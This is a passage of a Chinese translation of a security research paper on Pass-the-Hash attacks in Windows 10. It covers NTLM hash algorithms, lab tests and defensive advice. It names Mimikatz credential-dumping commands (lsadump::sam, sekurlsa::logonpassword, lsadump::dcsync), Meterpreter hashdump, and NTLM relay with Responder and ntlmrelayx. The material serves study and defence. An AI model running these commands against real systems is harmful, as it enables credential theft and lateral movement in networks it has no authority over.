of zeros. It splits this string into three 7-byte keys. Those keys are used to
encrypt the challenge using DES. The cryptograms are concatenated to create
the NTLMv1 hash (see Figure 2).
// c – challenge
K1 | K2 | K3 = NT_Hash(password) | “0000000000”
NTLMv1(password, c) = DES( K1, c) | DES( K2, c) | DES( K3, c)
c = "1122334455667788"
NTLMv1("pass1", c) = "151814cebe6083b0551173d5a42adcfa183c70366cffd72f"
Figure 2 NTLMv1 Hashing Algorithm and Example
必须注意的是，NTLMv1 hashes可以被破解，从而可得到用于生成这个NTLMv1 hash的那个NT hash。存在针对选定的NTLMv1
challenges的彩虹表，可以在数分钟内获得哈希值(Shamir，2018)。例如，<https://crack.sh>
可以用于此目的。因此，本文将视NTLMv1 hash与对应的NT hash等效。但是，必须明白PtH攻击使用的是真正的"NT hash"。
参考Figure 3可知， **NTLMv2散列算法步骤** ：
第1步：NTLMv2散列算法将用户名(user name)和域的名称(domain name)连接在一起，然后使用密码的NT
hash作为key，来应用HMAC-MD5散列函数。
第2步：将上一步的计算结果作为key，将server和client的challenges串起来，并再次应用HMAC-MD5散列函数。
// u – user name | d – domain name | s – server challenge | c – client challenge
v2_Hash = HMAC-MD5(u+d, NT_Hash(password))
NTLMv2(password, u, d, s, c) = HMAC-MD5(s+c, v2_Hash)
u = “local_used1”; d = “GIAC-MSFT”; s = “1122334455667788”
c = “0F2795EDCC2AB44DCE77EC3031EBF595”
NTLMv2(“pass1”, u, d, s, c) = “0101000000000000C0653150DE09D20180DD46755
D637E72000000000200080053004D004200330001001E00570049004E002D005000
52004800340039003200520051004100460056000400140053004D00420033002E00
6C006F00630061006C0003003400570049004E002D0050005200480034003900320
0520051004100460056002E0053004D00420033002E006C006F00630061006C0005
00140053004D00420033002E006C006F00630061006C0007000800C0653150DE09
D20106000400020000000800300030000000000000000100000000200000F8E6D0C
07977EB77F39274A491B01EA3BE82BF0C85E35DFDAF1902D989438F1B0A001
000000000000000000000000000000000000900100063006900660073002F00640064
006400000000000000000000000000”
Figure 3 NTLMv2 Hashing Algorithm and Example
NTLMv2比NTLMv1强。通常，NTLMv2需要使用如hashcat、john之类的工具实现暴力枚举(brute-force)、字典攻击(dictionary
attacks)来进行破解(Siddhu,2016)。这些攻击是可行且普遍使用的（Stankovic，2017），从而可以恢复明文密码 而不是NT
hash。因此，本文并不探讨这种类型的攻击，本文关注于直接使用NTLMv2 hashes的中间人攻击(man-in-the-middle attacks)。
### 2.3. Pass-the-Hash Attack
"Windows 10中的PtH" 与 "NTLMv2身份验证协议"
密切相关。Windows实现了单点登录(SSO)系统，该系统在首次身份验证后缓存了凭据(credentials)，并在此之后使用缓存了的凭据去访问主机(hosts)，文件共享(file
shares)和其他资源(此过程对用户透明)。单点登录系统的优点是，避免了用户每次访问网络资源时都需要重新输入密码。
NTLMv2身份验证过程应用了challenge/response交换，该交换不使用用户的明文密码，而是使用其NT hash。
此功能允许攻击者在不知道相应密码的情况下使用NT hash进行身份验证 (Pass-the-Hash)。
此外，在中间人攻击中，可以直接使用捕获到的NTLMv2 hash进行身份验证，即使不知道NT hash也没关系。
* PtH攻击包括2个主要步骤：
* 1.Extraction of hashes
* 通过网络通信从已经控制的主机提取 hashes (在Section 4中进行了说明)
* 通过另一个尚未被控制的主机中提取 hashes (在Section 5 中进行了说明)
* 2.gain access
* 使用提取到的hashes来访问同一个机器、或不同的机器 (在Section 6中进行了说明)
看下Figure 4 中的演示。
>
>
> Figure 4 PtH Authentication
Figure 4 演示了使用Metasploit成功建立了PtH连接。这次攻击中使用的NT hash是以32个零开头的，代表LM
hash。因为Windows 10不使用LM hashes，所以零是被接受的。
### 3\. Test Environment
本文的目的是，测试并确认在最新的Windows环境中PtH攻击所带来的风险等级。
为此，多个"用户帐户"(user accounts)被使用。
如下，Figure 5展示了这些"帐户"(accounts)的配置。NTLMv1
hashes使用`1122334455667788`作为challenge.
Account details
User name: local_used1 | Type: local | Groups: Administrators
Password: pass1A?1 | NT hash: D1E534455F97DBB7FBE436CD25CE661B
NTLMv1: C59DAC0FD53CCC70991990CB8EC3084AE1BF3881312D3280
Comment: The user has already logged in to the computer.
User name: local_used2 | Type: local | Groups: Administrators
Password: pass1A?2 | NT hash: 43BDCF65BD4D6603BBD8311D4B1670B1
Comment: The user has already logged in to the computer.
User name: local_notused | Type: local | Groups: Administrators
Password: pass1A?3 | NT hash: B85CA2C4BA3911C6DC427392FD7B7F7D
Comment: The user has never logged in to the computer.
User name: domain_used1 | Type: domain | Groups: Domain Admins
Password: pass1A?4 | NT hash: 7BBC9C60C62A1204364B66D678FCA2C9
NTLMv1: 04753E2350DB855B4A1BF6F7F693D3AFF9F3CEE75B64A7F6
Comment: The user has already logged in to the computer.
User name: domain_used2 | Type: domain | Groups: Domain Admins
Password: pass1A?5 | NT hash: 5E64EA6FBAFAC1289CE092AED46790A5
Comment: The user has already logged in to the computer
User name: domain_notused | Type: domain | Groups: Domain Admins
Password: pass1A?6 | NT hash: 05CF392F7B89860C6AC0F6FD85B87A3E
Comment: The user has never logged in to the computer.
User name: [email protected] | Type: Microsoft | Groups: Administrators
Password: pass1A?7 | NT hash: 527E12E1627BA10C39324C4BB48CE1FE
Alias: msft_ | Comment: The user has already logged in to the computer.
Pass-the-Hash in Windows 10 8
Lukasz Cyra, [email protected]
User name: [email protected] | Type: Microsoft | Groups: Administrators
Password: pass1A?8 | NT hash: D5098E10765DE1E80713A61E644A5698
Alias: msft__mt4bjny | Comment: The user has never logged in to the computer.
User name: local_nonpriv | Type: local | Groups: Users
Password: pass1A?9 | NT hash: C5597987BCB2BAA5D78B056101D5EDD7
Comment: The user has already logged in to the computer.
Figure 5 Account Configuration
说明：
所有NT哈希值都是使用 <https://www.tobtu.com> 的服务计算的。NTLMv1 hashes已使用 John the
Ripper进行了确认。
VMware Workstation 15.1.0 提供了构建该实验的环境。
如下，Figure 6显示了所使用的10个VM的配置信息：
名字以“E”结尾的计算机的系统版本是 Windows 10 Education v1903
名字以“P”结尾的计算机的系统版本是 Windows 10 Pro v1903
为了使该测试可重复，所有机器均未打补丁。并且都禁用了：Windows updates、Windows Defender Firewall、Windows
Defender Antivirus。
Host details
Name: GIAC-DOM-E/GIAC-DOM-P | Credential Guard: disabled
Accounts: local_used1, local_used2, local_notused, domain_used1, domain_used2,
domain_notused, local_nonpriv
Name: GIAC-DOM-CG-E/GIAC-DOM-CG-P | Credential Guard: enabled
Accounts: local_used1, local_used2, local_notused, domain_used1, domain_used2,
domain_notused, local_nonpriv
Name: GIAC-MSFT-E/GIAC-MSFT-P | Credential Guard: disabled
Accounts: local_used1, local_used2, local_notused, [email protected],
[email protected], local_nonpriv
Name: GIAC-MSFT-CG-E/GIAC-MSFT-CG-P | Credential Guard: enabled
Accounts: local_used1, local_used2, local_notused, [email protected],
[email protected], local_nonpriv
Name: GIAC-AD | OS: Windows Server 2019 Datacenter | Domain: giac.local
Accounts: domain_used1, domain_used2, domain_notused
Name: - | OS: Kali Linux 2019.2
Figure 6 Computer Configuration
### 4.Hash Extraction from Host
本section将分析攻击者能够使用的多种提取hashes的方法。
#### 4.1 NT Hashes in Registry
安全帐户管理器(Security Account Manager,SAM) 数据库是一个存储NT hashes的注册表文件(registry
file)。SAM存储local帐户和Microsoft帐户的hashes，但不存储域帐户(domain accounts)的hashes。
Windows使用MSCach2格式来缓存域登录,Windows uses the MSCach2 format to cache domain logon
(Januszkiewicz, 2017).
SAM文件的位置在`%SystemRoot%/system32/config/SAM` 并被挂载在`HKLM/SAM`注册表配置单元中(mounted at
the HKLM/SAM registry hive).
读取这些凭据需要特权访问(privileged access,SYSTEM或admin)。
人们可以在计算机上找到解密这些hashes所需的所有信息。Deneut(2018)解释了算法，Willett(2016)提供了数据结构。
用于加密SAM的算法与本文的研究课题高度相关。 哈希提取工具必须跟上Windows的发展。 微软修改了Windows 10
v1607中的算法，将RC4密码替换为AES(Deneut, 2018)。这个更改破坏了所有直接访问SAM以转储散列(dump
hashes)的提取工具。一些工具已经更新并可正确处理新的加密方法。然而，关于使用何种工具、以及何时使用仍有许多困惑(Strand, 2018b)。
>
>
> Figure 7 Failed Hash Extraction
Figure 7显示了用metasploit v5.0.34在主机`GIAC-DOM-E`上执行`Smart_Hashdump`模块的结果。如图所示，所有提取到的NT
hashes都是相同的`31d6cfe0d16ae931b73c59d7e0c089c0`。这是个错误结果，它实际上是"空字符串"(empty
string)的NT hash。大多数过时的工具在`Windows 10 v1607+`机器上执行时就会产生这种错误结果。
Mimikatz是已更新过的工具之一，它可以正确处理新格式的SAM。
要使用此工具dump hashes，需要执行3个命令：
privilege::debug
token::elevate
lsadump::sam
Figure 8 显示了在`GIAC-MSFT-P`上使用Mimikatz 2.2.0时获得的结果。
>
>
> Figure 8 Extraction of Hashes with Mimikatz
Mimikatz为所有local和Microsoft帐户提取了正确的hashes，除了`msft__mt4bjny`(即`[email protected]`的别名)。这个结果并不令人惊讶。
管理员(administrator)已授权`[email protected]`使用这个主机，这导致在SAM中创建了该帐户。在这种情况下，系统使用`msft__mt4bjny`作为该帐户的别名。但该用户过去从未登录过，所以系统无法知道正确的hash值。
但是，Figure 8显示了该帐户的一个hash(这个hash是错误的,与 Figure 5相比较)。
图9显示了使用这个 NT hash进行身份验证的结果： **即使这个hash是错误的，身份验证也已成功！**
>
>
> Figure 9 Successful Authentication Using Incorrect Hash
似乎Microsoft用一个"随机值"预先填充了新创建的Microsoft帐户的NT hash字段，该值仅在用户首次登录后才更新。 但是，该NT
hash值(错误的值)可以成功地用于进行身份验证。 我无法找到任何提及此发现、或解释这个行为的论文。 更令人惊讶的是，可以在Windows 10
Pro机器上重现此行为，但在Windows 10 Education的多个虚拟机上都不起作用。 这种差异可能表明它是产品缺陷。
如果应用了其他的步骤(注意前提)，有时可以使用旧的工具来转储SAM：
Meterpreter的`hashdump`命令可以说明这种方法。它将代码注入到LSASS中(见Section
4.2)，然后从SAM中提取数据(Ewaida, 2010)。
为了使`hashdump`命令在Windows 10
v1903中工作，首先必须将Meterpreter进程迁移到LSASS，然后再执行`hashdump`命令得到的结果就与之前在Mimikatz中使用`lsadump::sam`得到的结果相同(见Figure
10)。Wally Strzelec先生分享的这一方法，解决了刚才提到的困难(Strand, 2018)。
>
>
> Figure 10 Extraction of Hashes with Hashdump
#### 4.2. NT Hashes in Memory
Local Security Authority Subsystem Service (LSASS)进程的内存可用于提取NT hashes。
LSASS是位于`％SystemRoot％\ System32 \ Lsass.exe`的可执行文件。
它保证了Windows中的"身份验证"(authentication)和"授权"(authorization)。
每当用户登录系统时，都会创建带有"用户名"(username)和NT hash的数据结构并将其存储在进程内存中。
与基于注册表的方法相比，该技术可以提供local、Microsoft、域的"帐户"(accounts)的凭据。此方法需要特权访问(privileged
access).
图11显示了LSASS在Windows中的作用。 它为每个已登录系统的用户都维护了该用户的一个条目表(a table of entries)。
LSASS存储了所有活跃使用的账户的相关信息，包括"服务账户"(service accounts)，"RDP会话"(RDP sessions)，RunAs
executions(Renard，2017)。 存储的属性中有NT hashes。但是，"网络登录"(Network
logons)是一个例外，因为在这种情况下，这个NT hash 永远不会发到这个机器(Damele, 2011c)。
LSASS代表用户使用hashes来提供SSO体验。有2种说法：
根据Ewaida (2010)的说法（错误说法），一旦用户锁定系统或注销，LSASS就会立即清除凭据。
根据Damele（2011c）的说法（正确说法），用户锁定系统或注销之后，LSASS会在几分钟后清除凭据。 作者的测试也证实该说法。
>
>
> Figure 11 LSASS
要从`GIAC-DOMAIN-E`的LSASS转储密码(dump passwords)，需要在Mimikatz
2.2.0中执行两条命令`:privilege::debug`和`sekurlsa::logonpassword`。如Figure
12所示，此方法使获取`domain_used1`用户的NT hash成为可能（该用户当时已登录）。
相反，`domain_used2`用户的hash仍然是受保护的（因为该用户并没有登录）。这也适用于 当时没有登录的本地用户的密码hashes(The
same applies to the hashes of passwords of local users who were not logged in
at that time).
>
>
> Figure 12 Extraction of Hashes with Mimikatz
#### 4.3. NT Hashes in Credential Guard
Windows Defender Credential Guard (WDCG) 是Windows
10的一个安全特性，它使用基于虚拟化的安全技术来保护秘密。最初，它在企业版(Enterprise)、教育版(Education)和服务器版(Server)都有，现在它也被包括在Windows
10 Pro中。
WDCG引入了一个通过虚拟化隔离的LSASS进程(LSAISO)，该进程只允许"受信任的"(trusted)、"特权级的"(privileged)应用程序访问数据。系统的其余情况都无法访问此进程。恶意应用程序即使是`admin/SYSTEM`权限运行，也无法从LSASS/LSAISO进程获得凭据。
WDCG保护了域的NTLM和"Kerberos派生凭证"(Kerberos derived credentials)，以及作为"域凭证"(domain
credentials)存储的应用程序的数据。
通过这种方式，微软试图阻止PtH攻击 (Microsoft, 2017)。它的引入激发了人们对未来的PtH攻击可行性的讨论(Green, 2017)。
WDCG的一个重要限制是：WDCG不能保护SAM。
此外WDCG会对功能产生负面影响：当启用WDCG时，它会blocks"特定的身份验证功能"(specific authentication
capabilities)，如"无约束的委托"(unconstrained delegation)、DES encryption、NTLMv1
(Joyce, 2019a)。因此，WDCG会对功能产生负面影响。
作者通过尝试在主机`GIAC-DOM-CG-E`上执行`sekurlsa::logonpassword`来测试WDCG。和预期相符，无法获得当前登录的用户`indomain_used1`的NT
hash (见Figure 13)。
然而，作者能够获得当前已登录的"本地帐户"(local accounts)的hashes。对`GIAC-MSFT-CG-E`的重复测试表明，WDCG会阻止Mimikatz提取已登录的Microsoft账户的hash值。但你仍然可以通过命令`lsadump::sam`获得hash。
>
>
> Figure 13 Extraction of Hashes with Mimikatz – WDCG
`GIAC-DOM-CG-P`和`GIAC-MSFT-CG-P`经过了相同的测试。WDCG在这些主机上的激活过程与Windows 10
Education的激活过程相同。尽管WDCG正在运行，如 msinfo32、Device Guard、Credential
Guard硬件就绪工具(hardware readiness tool) 的报告，它似乎没有任何功能上的影响。 后来对"内心独白"(Internal
Monologue)的测试(见Section 4.4)得出了相同的结论。 因此，在PtH攻击的情况下，在Windows 10
Pro上激活WDCG不会产生任何积极影响(无法防御PtH)。
#### 4.4. Internal Monologue Attack
"内心独白"(Internal Monologue)是一种攻击技术，intruder提取所有已登录用户的NTLMv1
hashes。该工具的作者宣称它是Mimikatz的替代品，它越来越多地被防病毒解决方案检测到，而且它不能在WDCG环境下工作(Shamir, 2018)。
* "内心独白"(Internal Monologue)攻击分为4个步骤:
* 1.Windows 10默认不支持NTLMv1。 “内心独白”(Internal Monologue)更改注册表设置以强制主机使用NTLMv1而不用NTLMv2。 此步骤需要特权访问。
* 2.该工具检索当前正在运行的进程的"非网络登录"(non-network login) tokens的列表。
* 3.对于每个token，它使用"模拟"(impersonation)来强制主机为所选的challenge提供NTLMv1响应。
* 4."内心独白"(Internal Monologue)将还原第1步中所做的更改。
如果攻击者没有管理员(admin)权限，则该攻击允许提取NTLMv2 hashes, 拿到这些hashes用处不大(见Section 2.2)
"内心独白"(Internal Monologue)的作者承认，该攻击在WDCG的环境中不起作用(Shamir, 2018)。WDCG阻止NTLMv1(见在
Section 4.3)。在这种情况下，"内心独白"只能提取NTLMv2 hashes。
尽管有此限制，在Mimikatz被阻止或容易检测到的环境中，"内心独白"(Internal Monologue)仍然是一种有用的技术。
测试证实，在没有WDCG的环境中，"内心独白"(Internal Monologue)工具成功提取了当前登录的本地和域用户的NTLMv1哈希(见Figure
14)。但是，不可能获得Microsoft帐户的 hashes。 在有WDCG的环境中，只能在Windows 10
Education主机上获取本地帐户和域帐户的NTLMv2 hashes 。
>
>
> Figure 14 Extraction of NTLMv1 Hashes with InternalMonologue
#### 4.5. Summary of Findings
Figure 15总结了Sections4.1, 4.2, 4.3, 和 4.4的结果。
`+/-` 表示，在具有指定配置的主机上针对给定帐户类型，提取给定类型的hashes的可行性。
>
>
> Figure 15 Dumping Hashes in Various Configurations
测试表明，与本地帐户和Microsoft帐户相比，域帐户的保护级别更高。 在Windows 10的所有配置中，都可以从SAM中提取非域帐户(non-domain account)的hashes。域帐户的hashes仅容易从LSASS内存中提取出来。 启用了WDCG的配置中的Windows 10
Education在所有被分析的情况下都防止了hash提取，进一步提高了域帐户的安全性。
值得一提的是，即使在这种情况下，也可以应用其他攻击手段(例如:键盘记录程序，还有Section 5中讨论的攻击)
### 5\. Hash Extraction from Network
Section 4讨论了如何从一个"已控制的"(compromised)主机中提取hashes，而本Section 5分析了通过网络进行hash提取的方法。
#### 5.1. DCSync
在DCSync攻击中，攻击者模拟"域控制器"(DC,Domain Controller)的行为，以通过"域复制"(domain
replication)来取出密码hashes。它利用了无法被禁用的必要的功能(Berg, 2019)。一直以来，Administrators,
Domain Admins, 和 Enterprise Admins 以及DC(不包括
只读DC)的"帐户"(accounts)都具有的所需的权限(Metcalf,
2015a)。Mimikatz、Impacket、DSInternals等工具都实现了DCSync。
>
>
> Figure 16 Hash Retrieval with DCSync
使用`domain_used1`帐户和Mimikatz的`lsadump::dcsync`命令
对该技术进行了测试，该命令之前用于从注册表和LSASS中提取NT hashes。 如Figure
16所示，该技术使得获得`domain_used2`用户的NT hash成为可能。
此外，该命令返回了用户过去曾使用过的hashes的一个list，这对于破解(模式分析，pattern analysis)，以及"hash喷射"(hash
spraying)非常有用。
#### 5.2. Man-in-the-Middle Attacks
可以使用NTLMv2 hashes来设计中间人攻击(见 Section 2.2). Figure 17 展示了攻击步骤。
>
>
> Figure 17 NTLMv2 Relay Attack
* 这种攻击可以分为2个部分:
* (1)欺骗用户尝试认证到攻击者的机器(Tricking the user into trying to authenticate to the attacker’s machine)
* (2)转发消息，使攻击者能够代表用户访问主机(Relaying the messages so that the attacker gets access to a host on behalf of the user)
可以使用各种协议执行攻击，例如SMB、HTTP、LDAP或MSSQL (Abraham, 2016)。为了使攻击生效，"受害者的计算机"(victim’s
machine)和"被攻击的主机"(attacked host)必须是2个不同的主机(Byt3bl33d3r,
2017)。为了避免这种限制，我们需要在攻击的每个部分(共2个部分)中使用不同的协议(Abraham, 2016)。
欺骗用户进行"身份验证"(authentication)的方法有很多种。
在一些企业中，存在"主动防御系统"(active defense systems)或"漏洞扫描器"(vulnerability
scanners)，试图登录到网络上的任何新主机(Baggett, 2013)。
社会工程学(Social engineering)是有用的，例如诱导用户点击位于攻击者的主机上的SMB共享的链接(Strand,
2018a)。Chrome支持自动下载SCF文件，这可以触发"身份验证"(Stankovic, 2017)。
Metasploit提供了Word UNC
Injector模块，该模块可以生成一个word文档，这个word文档中有一个"指向到SMB资源"的"嵌入式链接"(embedded
link)。在编辑模式下打开文档后，该文档就开始一个与“攻击者选定的主机”进行NTLMv2身份验证的会话(Chandel, 2017)。
"ARP投毒"(ARP poisoning)或"DNS欺骗"(DNS
spoofing)，提供了充当中间人的通用方式，也可能导致NTLMv2中继攻击(Strand, 2018a)。
另一种方法是使用广播名称解析中毒(BNRP, Broadcast Name Resolution Poisoning)攻击，该攻击使用NBT-NS，LLMNR或mDNS。攻击者可以响应对"不存在的资源"的请求，例如，由于"拼写错误"或"配置错误"而执行的请求。尤其是在Windows
10电脑上使用默认配置的现代浏览器，会使用Web Proxy Auto-Discovery
(WPAD)协议。如果"内网"(Intranet)上没有WPAD服务器，则WPAD很容易受到BNRP攻击。如果攻击者能找到一种注册
"与该企业内部命名方案冲突的"(the internal naming scheme of the organization)
"通用顶级域"(generic Top-Level Domain ,gTLD)的方法，这种攻击甚至可以在Internet上使用(Abraham,
2016)。此外，攻击者甚至可以通过结合“对DNS服务器的DoS攻击”来响应对现有资源的请求(Abraham, 2016)。
可以使用impacket的库中包含了的ntlmrelayx工具来设置relay。
另一种选择是用Responder的Multi Relay。
为了测试此技术的有效性，通过设置一个"可拦截、响应"(intercepted and responded) WPAD请求的SMB relay
(Byt3bl33d3r, 2017)。作为一个用户，打开了Chrome。在具有默认配置的Windows
10中，这是迫使计算机发出一个WPAD请求所需要做的全部工作。他使用Responder 2.3.4.0处理NBT-NS、LLMNR、mDNS
poisoning。如Figure 18演示了攻击。
>
>
> Figure 18 Responder Sending Poisoned Answers for WPAD
作者使用Imacket
0.9.15的`ntlmrelayx`命令来响应这些请求，发起NTLMv2身份验证，并将其"转发"(relay)给另一台服务器。最终，使作者有机会能够在"被控的"(compromised)服务器上执行`ipconfig`命令(见Figure
19)。
>
>
> Figure 19 Successful Authentication and Command Execution with ntlmrelayx
借助此技术，作者可以在具有和不具有WDCG的计算机上"冒充"(impersonate)本地帐户和域帐户。当被冒充的域用户具有管理员(admin)权限时，作者可以代表他/她执行命令。
当该攻击用于冒充Microsoft帐户时，攻击不会成功。有可能是与所使用的中继工具有关，而与Microsoft帐户的"基本安全等级"(fundamental
security level)无关。因为Microsoft帐户使用别名作为用户名(Microsoft accounts use aliases for
usernames)。如果中继工具没能正确解决这个问题，那么这个问题可能就是攻击失败的原因。
甚至可以进一步自动执行SMB relay攻击。ntlmrelayx命令的`-socks`选项的作用是：保持"身份验证会话"(authentication
sessions)处于active状态，并且通过SOCKS代理"链接"(chain)了命令(Solino, 2018)。联合国的Nicholas
Kosovich先生与作者分享了这种方法。
### 6\. Applying Extracted Hashes
Sections 4 和 5 介绍了各种hash提取的方法。Sections 6 解释如何利用获得到的hashes。
我们已经在Section 5.2中看到了如何中继NTLMv2
hashes以获得对主机的访问权限，这个步骤与上一步骤（在中间人攻击中获取hashes）是密不可分的。然而，还有许多其他"可被利用的"(vulnerable)协议、技术接受该NT
hash进行身份验证。本Sections 6 将测试SMB、WMI、Kerberos和RDP来说明这种攻击。然而，据报道，SQSH (Duckwall &
Campbell, 2012)、HTTP Negotiate Authentication/WIA (Panayi, 2018)和WinRM
(Renard, 2017)也很容易受到攻击。
必须明白，"网络层面的PtH攻击"( the PtH attack over the network)可能会获取到什么"访问级别"(the level of
access)的权限，是至关重要的。
当攻击者使用"域帐户"(domain
accounts)时，通过PtH获得的"访问级别"对应于所攻击者使用的那个域帐户的特权级别。不过，在本地Windows帐户、微软帐户方面，还有一个明显的区别，这个注册表项`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy`在Windows
10中默认不存在(Schroeder,
2017)，当它存在并被启用时，可以使用“具有管理员权限的”本地管理员账户、Microsoft帐户来获得对主机的"特权访问"(privileged
access)。但是使用默认设置的话，在连接时本地管理员帐户和Microsoft账户将被剥夺"管理员权限"。用那些帐户仍然可能进行PtH，例如，他们可以用来连接到一个"文件共享"(file
share)，但他们不授予"特权访问"(privileged access)。这个问题适用于本文讨论的所有网络攻击方法，包括NTLMv2中继攻击。
仍然可以使用这些帐户进行PtH，例如，可以将这些帐户用于连接到一个文件共享，但是这些帐户不提供"特权访问"权限。此问题适用于本文讨论了的所有的"网络层面的PtH攻击方法"(the
PtH over the network attack methods)，包括NTLMv2 relay攻击。
#### 6.1. PtH over SMB
对网络层面的PtH攻击，主要使用SMB。
可以使用metasploit的PsExec模块，或者Pass-the-Hash toolkit中的 pth-winexe 和 pth-rpcclient等工具。
值得一提的是，与许多博客文章的内容相反，Sysinternals套件中的PsExec工具并不适合执行PtHattack (Renard, 2017)。
作者使用Metasploit的PsExec模块测试了PtH攻击。该工具首先使用已提供的"共享"(share)和"凭据"(credentials)
将"服务镜像"(service
image)部署到目标机器上，然后调用DCE/RPC来启动已部署的服务。为了生效，SMB必须是可用且可达的，必须启用"文件和打印机共享"(File and
Printer Sharing)，并且必须禁用"简单文件共享"(Simple File Sharing)。Figure
20展示了使用`domain_used1`的hash的成功连接。
>
>
> Figure 20 Pth Connection Using Domain Account
`domain_used1`是一个"特权帐户"(privileged
account)。作者使用`local_nonpriv`重复测试，并在`local_nonpriv`能够访问到的一台"目标机器"上，配置了一个共享(而不是用默认的共享`Admin$`)。Figure
21展示了连接的日志。帐户成功连接到"目标机器"，并且payload部署成功，PtH攻击成功了。但是，由于缺乏admin权限，该服务无法启动。
>
>
> Figure 21 Pth Using Non-Privileged Account
值得一提的是，可以对已经得到的hashes进行"喷射"(spray)。即使用已经得到的hashes和一些常用密码的hashes，它们可能成功访问多台机器上的多个帐户。Crackmapexec可以用于此目的(Byt3bl33d3r,
2018)。
译者注：hashes
spray可能很快导致帐户被锁定，因为帐户锁定策略常常是：在设定的时间段内只能进行有限次数(如3-5次)的失败尝试。所以，在进行Password
Spraying类型的攻击时必须注意降低尝试登录的频率！
#### 6.2. PtH over WMI
Invoke-TheHash使得通过WMI执行PtH攻击成为可能(Robertson, 2018)。
这种攻击的前提是需要凭据——被攻击主机上的一个管理员权限的帐户的凭据。执行攻击的用户可以是普通用户。 Figure
22展示了一个成功的连接，它在被攻击的机器上创建了一个文件夹。
>
>
> Figure 22 Pth Using WMI
#### 6.3. PtH over Kerberos
甚至Kerberos也可以接受NT hash，而不是明文密码。
这种攻击被称为`Overpass-the-Hash`,可以使用Mimikatz(Delpy,
2014)的`sekurlsa::pth`命令来执行。在这种攻击中，这个NT hash用于获得一个Kerberos票据(Kerberos
ticket),该票据允许攻击者代表"被冒充的"(impersonated)用户访问网络资源。因为这种攻击使用"进程操纵"(process
manipulation)。因此，正在执行该攻击的用户需要具有admin权限。图23显示了成功冒充了用户`domain_used2`。
>
>
> Figure 23 Overpass-the-Hash with Mimikatz
#### 6.4. PtH over RDP
最后，如果企业使用了非默认的RDP配置，攻击者可以使用RDP执行PtH攻击。
要使这种攻击技术起作用的前提是，企业必须启用了`Restricted Admin`设置。Windows 10默认不允许`Restricted
Admin`的RDP连接，但微软建议激活它们(见Section 7)。
当使用`Restricted
Admin`模式建立连接时，服务器不会以任何可重用的形式接收用户的凭据。然而，这个配置的负面影响是产生了PtH攻击的可能性。在进行测试时，作者使用`xfreerdp`命令成功地建立一个RDP会话，该命令包含在Pass-the-Hash toolkit中(见Figure 24)。
>
>
> Figure 24 Pth Using RDP
### 7\. Protection
前面的小节介绍了许多利用密码hashes的攻击技术，这些技术在今天仍然是可行的。企业应该采用"纵深防御"(defense-in-depth)的方法来降低风险。企业的安全部首先需要防御"hash提取"，需要使hash的利用更难。最后，应该能够及时监测到该类型事件。
#### 7.1. Generic Security Measures
第一步，将操作系统升级到最新版本，并持续打后续的补丁。
建议使用Windows Enterprise/Education版本而不是Windows Pro版本(见Section 4)。
在实施专门针对PtH攻击的防御措施之前，部署 **通用的安全措施** 是必要的:
企业应该考虑给应用程序打补丁；
装上靠谱的杀毒软件；
设置足够强的密码复杂性策略；
利用"基于主机的防火墙"(host-based firewall)；
检测网络上未经授权的设备；
应用多因素身份验证(Multi-Factor Authentication,MFA)；
确保用户拥有的权限与他们的需求相对应，尤其是，可行的话，本地管理员(local administrators)不该具有debug权限；
用户们应该具备安全意识，当使用RDP时主动注销而不应该断开连接，这样就不会在LSASS内存中留下NT hashes；
...
这些措施使得任何渗透尝试，包括PtH攻击，难度大大提升。
#### 7.2. Hash Protection
防御PtH攻击的最有效方法，首先是防止hashes被窃取。 Section 4.3 中已经分析了WDCG的有效性，展示了它为域账户提供了更高的保护级别。
但是，还有其他方法可以提高hashes的安全性。
有关PtH的终极目标是完全"阻止"(block)网络层面的NTLMv2并且只使用Kerberos进行身份验证。但是，这个"加固"(hardening)方法没有得到广泛应用，因为它会导致许多兼容性问题。
另一方面，Microsoft提供了几种全面的解决方案，试图通过限制用户权限、减少(存储凭据hashes的)系统的数量来解决该问题(Microsoft,
2016; Microsoft, 2019)。
译者注：Active Directory managed environments 即Active Directory administrative
tier model, Enhanced Security Administrative Environment (ESAE)
人们应该考虑在Active Directory managed
environments中引入"分区"(zoning)，通过"限制用户的权限"(restricting privileges of
users)、"加固现有帐户"(hardening existing accounts)可以进一步提高安全性。
* "加固现有帐户"包括：
* 权限访问管理 (Privileged Access Management, PAM)
* 适当的管理(Just Enough Administration, JEA)
* 受保护的用户安全组 (Protected Users security group)
最后，企业应该加强用于"特权访问"(privileged access)的系统，即"特权访问工作站"(Privileged Access
Workstations,PAWs)。
这些解决方案通过减缓PtH第一步，来有效地阻挡"横向移动"(lateral
movement)。不过，在管理、基础设施和日常运营方面，它们会带来额外的成本，还可能导致兼容性问题。
加固RDP是必要的。企业应该强制执行"网络级身份验证"(Network Level Authentication)来防止密码嗅探。同样，Section
6.4中讨论的`Restricted Admin`功能在用于"远程访问"(remote access)时也显著提高了管理员凭据的安全性。
LSASS进程也需要加固。 启用对LSASS的保护，可防止不受保护的进程与其交互。 但是，此更改可能会导致兼容性问题。
最后，企业可以采取几个步骤来减少中间人攻击的风险。所有内部系统都应该有有效的DNS条目记录，并且应该添加常用搜索系统的条目记录，例如WPAD服务器的条目记录(见Section
5.2)。或者，应该禁用WPAD。企业应该考虑禁用LLMNR和NetBIOS，阻止"外发的"(outgoing)SMB流量，并要求SMB
Packet签名。企业应该在实施任何普遍的变更之前，彻底地测试这些解决方案。
#### 7.3. PtH Prevention
根据Section 6，应该禁用`LocalAccountTokenFilterPolicy`设置，以减少泄漏NT
hashes带来的不良影响。然而在某些情况下，这会产生一些"问题"(issues)。甚至微软也建议将其作为某些problems的解决方案(Schroeder,
2017)。
更好的解决方案是执行"本地管理员密码解决方案"(Local Administrator Password Solution,
LAPS)。此防御措施确保了定期更改本地管理员密码。
此外，"身份验证策略"(Authentication Policies)可用于限制PtH攻击的影响。
使用这些策略，可以限制(使用给定的帐户进行身份验证的)主机，这样，除非从"管理控制台"(admin
console)登录，否则攻击者将无法使用泄漏的管理员的密码hashes。
#### 7.4. PtH Detection
* 为了有效地检测到PtH攻击，企业应该应用这几种策略：
* 1.首先，应该监视警报PtH tools的那些日志。存在于网络中的PtH工具当然需要调查。
* 2.其次，应监测主机上的异常活动。使用Sysmon，可以检测到篡改LSASS进程的尝试、企图(Warren, 2019)。SACL是Windows中的一个进程，可以提供LSASS的高级审计(Metcalf, 2015b)。
* 3.此外，在主机上搜索异常的"配置更改"(configuration changes)有助于检测攻击。监视的最佳选择是`LocalAccountTokenFilterPolicy`和`WDigest`相关设置。
